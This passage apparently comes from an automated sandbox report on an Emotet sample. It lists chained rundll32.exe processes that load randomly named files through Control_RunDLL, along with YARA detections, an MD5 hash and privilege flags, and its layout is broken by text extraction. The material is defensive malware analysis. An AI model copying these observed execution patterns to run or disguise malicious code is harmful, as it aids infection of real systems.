51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2117620078.0000000000250000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2118054956.00000000006A1000.00000020.00000001.sdmp,
Author: Joe Security

moderate

Page 46 of 48



Source

File Path Attributes Options Completion Count Address Symbol
Source

Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2836 Parent PID: 2452

General

Start time: 16:31:54

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vvkklg\owmtf.xpy',Control_
RunDLL

0xb60000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2121698890.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2121760438.00000000001B1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 3068 Parent PID: 2836
General
Start time: 16:31:56
Start date: 13/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\EqimzzdzvxI\jxrtnvzlrw.xix
*,Control_RunDLL

0xb60000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2124437516.0000000000161000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2124305408.0000000000140000.00000040.00000001.sdmp,
Author: Joe Security

moderate
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File Path Access Attributes Options Completion

Old File Path New File Path Completion

Source
Count Address Symbol

Source
Count Address Symbol

Analysis Process: rundll32.exe PID: 3060 Parent PID: 3068

General

Start time: 16:31:57

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qjhyis\vvyps.icm',Control_

RunDLL

Imagebase: 0xb60000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2355747254.00000000001D1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000F.00000002.2355718078.00000000001B0000.00000040.00000001.sdmp,
Author: Joe Security

Disassembly

Code Analysis

Copyright null 2021
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